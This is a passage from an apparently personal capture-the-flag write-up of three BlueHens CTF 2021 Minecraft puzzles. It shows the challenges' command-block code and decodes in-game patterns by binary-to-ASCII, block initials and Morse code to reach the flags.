"{\"text\":\"Click Here First\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Creating RAM\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~1 ~ ~ minecraft:lime_shulker_box\"},
\"extra\":[
{\"text\":\"Click Here Second\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Start Timing Belt\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~2 ~1 ~ minecraft:command_block[facing=up]{powered:0b,Command:\\\"setblock ~ ~-1 ~ air\\\"}\"}},
{\"text\":\"Click Here Third\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Finishing Timing Belt\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~2 ~2 ~ minecraft:chain_command_block[facing=up]{powered:0b,auto:1b,conditionMet:0b,Command:\\\"execute if data block ~-1 ~-2 ~ Items[0].tag.pages[0] run setblock ~ ~-2 ~ redstone_block\\\"}\"}},
{\"text\":\"Click Here Fourth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Start CPU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~3 ~ ~ minecraft:command_block[facing=east]{powered:0b,Command:\\\"data modify block ~2 ~ ~ Command set from block ~-2 ~ ~ Items[0].tag.pages[0]\\\"}\"}},
{\"text\":\"Click Here Fifth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Finishing CPU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~4 ~ ~ minecraft:chain_command_block[facing=east]{powered:0b,auto:1b,conditionMet:0b,Command:\\\"data remove block ~-3 ~ ~ Items[0].tag.pages[0]\\\"}\"}},
{\"text\":\"Click Here Sixth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Placing ALU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~5 ~ ~ minecraft:chain_command_block[facing=east]{powered:0b,auto:1b,conditionMet:0b}\"}}]}"]} 1

Finally, here is the challenge source code:

/give @p writable_book{pages:["/fill ~ ~ ~-2 ~5 ~ ~-3 yellow_concrete","/fill ~1 ~ ~-4 ~1 ~5 ~-4 yellow_concrete","/fill ~4 ~ ~-4 ~4 ~5 ~-4 yellow_concrete","/fill ~ ~6 ~-6 ~5 ~11 ~2 blue_wool","/fill ~-1 ~8 ~-5 ~6 ~11 ~1 blue_wool","/fill ~1 ~10 ~2 ~4 ~15 ~4 blue_wool","/fill ~2 ~10 ~5 ~3 ~11 ~5 red_concrete","/fill ~1 ~12 ~5 ~4 ~13 ~6 yellow_concrete","/fill ~3 ~14 ~4 ~3 ~14 ~4 black_concrete","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-72 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~40 ~20 ~-10","/fill ~3 ~14 ~4 ~3 ~14 ~4 blue_wool","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-8 ~20 ~-10","/fill ~4 ~14 ~4 ~4 ~14 ~4 black_concrete","/fill ~3 ~14 ~4 ~3 ~14 ~4 black_concrete","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-152 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-96 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-16 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~80 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~88 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~168 ~20 ~-10","/fill ~2 ~14 ~4 ~2 ~14 ~4 black_concrete","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-112 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-80 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-48 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~64 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~160 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~176 ~20 ~-10","/fill ~3 ~14 ~4 ~3 ~14 ~4 blue_wool","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-192 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-184 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-144 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-32 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~16 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~72 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~96 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~136 ~20 ~-10","/fill ~4 ~14 ~4 ~4 ~14 ~4 blue_wool","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-176 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-168 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-160 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-136 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-128 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-88 ~20 ~-10","/fill ~3 ~14 ~4 ~3 ~14 ~4 black_concrete","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-120 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-64 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~0 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~8 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~32 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~48 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~112 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~128 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~144 ~20 ~-10","/fill ~1 ~14 ~4 ~1 ~14 ~4 black_concrete","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~152 ~20 ~-10","/fill ~3 ~14 ~4 ~3 ~14 ~4 blue_wool","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~56 ~20 ~-10","/fill ~2 ~14 ~4 ~2 ~14 ~4 blue_wool","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~120 ~20 ~-10","/fill ~3 ~14 ~4 ~3 ~14 ~4 black_concrete","/fill ~4 ~14 ~4 ~4 ~14 ~4 black_concrete","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-104 ~20 ~-10","/fill ~3 ~14 ~4 ~3 ~14 ~4 blue_wool","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-40 ~20 ~-10","/fill ~2 ~14 ~4 ~2 ~14 ~4 black_concrete","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-56 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~184 ~20 ~-10","/fill ~3 ~14 ~4 ~3 ~14 ~4 black_concrete","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~-24 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~24 ~20 ~-10","/clone ~-1 ~ ~-6 ~6 ~15 ~6 ~104 ~20 ~-10"]}

As recommended by the challenge text, I got the latest Minecraft Java Launcher and launched a world:

I followed the YouTube video and gave myself a command block, placed it with a button on it, and posted the mc86 initcode:

I clicked the button and received an enchanted book:

I followed the instructions and clicked each of the six links to generate my mc86 computer in my world:

Next, following the YouTube video, I pasted the challenge source code into the command block I created earlier and click the button:

his gave me a book and quill with 72 pages of instructions:

I then placed this book and quill into the Shulker Box:

I placed a button in the mc86 computer (as directed in the YouTube video) and and clicked it to run the challenge program:

This created a bunch of giant chickens (or maybe Blue Hens):

Upon close inspection, I see that their eyes are different:

Looking even closer, I see that their are 4 blocks that are changing between chickens. Those 4 blocks are either just the blue wool (like the rest of the chicken) or black concrete. On a hunch, I recorded these as binary values where blue wool equaled a 0 and black concrete equaled a 1. This gave me the following binary value:

0100 0110 0111 1011 0011 0100 0111 0010 0110 1101 0111 1001 0101 1111 0011 0000 0110 0110 0101 1111 0110 0010 0110 1100 0111 0101 0011 0011 0101 1111 0110 1000 0110 0101 0110 1110 0111 0011 0111 1101

Taking this hunch further, I modified these values to give me binary bytes:

01000110 01111011 00110100 01110010 01101101 01111001 01011111 00110000 01100110 01011111 01100010 01101100 01110101 00110011 01011111 01101000 01100101 01101110 01110011 01111101

A quick trip to RapidTables to convert these binary bytes to ASCII, I get the following text:

That is the flag:

UDCTF{4rmy_0f_blu3_hens}

BlueHens CTF 2021: Minecraft: Mountain Climber

Challenge Author: Izzy

For this challenge, we are given the following information and image:

Here is mc.png:

I stared at this once clueless until my son walked in and looked at the screen and just casually said “Get Blocked.”

I asked what he meant and he said “the names of the blocks… those are the first letters of each.

This was the flag:

UDCTF{GETBLOCKED}

BlueHens CTF 2021: Minecraft: Morse Craft

This is from the BlueHensCTF 2021.

My son and I tackled this one together.

For this challenge, we are given the following information and links:

Here is the mc86 Intro:

Here is the mc86 InitCode:

/give @p minecraft:written_book{title:"Init CPU",author:"UD Cyberscholars",generation:0,pages:[
"{\"text\":\"Click Here First\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Creating RAM\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~1 ~ ~ minecraft:lime_shulker_box\"},
\"extra\":[
{\"text\":\"Click Here Second\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Start Timing Belt\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~2 ~1 ~ minecraft:command_block[facing=up]{powered:0b,Command:\\\"setblock ~ ~-1 ~ air\\\"}\"}},
{\"text\":\"Click Here Third\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Finishing Timing Belt\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~2 ~2 ~ minecraft:chain_command_block[facing=up]{powered:0b,auto:1b,conditionMet:0b,Command:\\\"execute if data block ~-1 ~-2 ~ Items[0].tag.pages[0] run setblock ~ ~-2 ~ redstone_block\\\"}\"}},
{\"text\":\"Click Here Fourth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Start CPU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~3 ~ ~ minecraft:command_block[facing=east]{powered:0b,Command:\\\"data modify block ~2 ~ ~ Command set from block ~-2 ~ ~ Items[0].tag.pages[0]\\\"}\"}},
{\"text\":\"Click Here Fifth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Finishing CPU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~4 ~ ~ minecraft:chain_command_block[facing=east]{powered:0b,auto:1b,conditionMet:0b,Command:\\\"data remove block ~-3 ~ ~ Items[0].tag.pages[0]\\\"}\"}},
{\"text\":\"Click Here Sixth\\n\",\"color\":\"dark_green\",\"bold\":true,\"underlined\":true,\"hoverEvent\":{\"action\":\"show_text\",\"value\":\"Placing ALU\"},\"clickEvent\":{\"action\":\"run_command\",\"value\":\"/setblock ~5 ~ ~ minecraft:chain_command_block[facing=east]{powered:0b,auto:1b,conditionMet:0b}\"}}]}"]} 1

Finally, here is the challenge source code:

/give @p writable_book{pages:["/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1",x,x,x,x,x,"/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p",x,x,x,x,x,"/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1",x,x,x,x,x,"/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p",x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,"/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p",x,x,x,x,x,"/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1",x,x,x,x,x,"/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p",x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,"/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p",x,x,x,x,x,"/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1",x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,"/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p",x,x,x,x,x,"/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p",x,x,x,x,x,"/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1",x,x,x,x,x,"/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p",x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,"/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1",x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,"/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p",x,x,x,x,x,"/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p",x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,"/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1",x,x,x,x,x,"/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p",x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,"/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1",x,x,x,x,x,"/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1",x,x,x,x,x,"/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p","/playsound block.bell.use master @p",x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,x,"/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 1","/playsound item.hoe.till master @a ~ ~ ~ 999 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As recommended by the challenge text, we got the latest Minecraft Java Launcher and launched a world:

We followed the YouTube video and gave ourselves a command block, placed it with a button on it, and posted the mc86 initcode:

We clicked the button and received an enchanted book:

We followed the instructions and clicked each of the six links to generate my mc86 computer in our world:

Next, following the YouTube video, we pasted the challenge source code into the command block we created earlier and click the button:

This gave us a book and quill with 1,195 pages of instructions:

We then placed this book and quill into the Shulker Box:

We placed a button in the mc86 computer (as directed in the YouTube video) and and clicked it to run the challenge program:

This started playing two different sounds in some kind of pattern with pauses in between; a hoe till sound and a bell sound

Here is an audio clip of the sounds:

Given the name of the challenge, we assumed that these sounds represented dashes and dots. The hoe till sound sounded like dashes and the bell sounded like dots.

We took the recording listed above and played it back at 80% speed (my code copying days were long ago) and wrote down what I heard:

-.-. .-. .- ..-. - .. -. --. -- --- .-. ... . ..-. --- .-. - .... . .-- .. -.

A quick trip to MorseCodeWorld.com and we decoded it:

This gave us the flag:

UDCTF{CRAFTINGMORSEFORTHEWIN}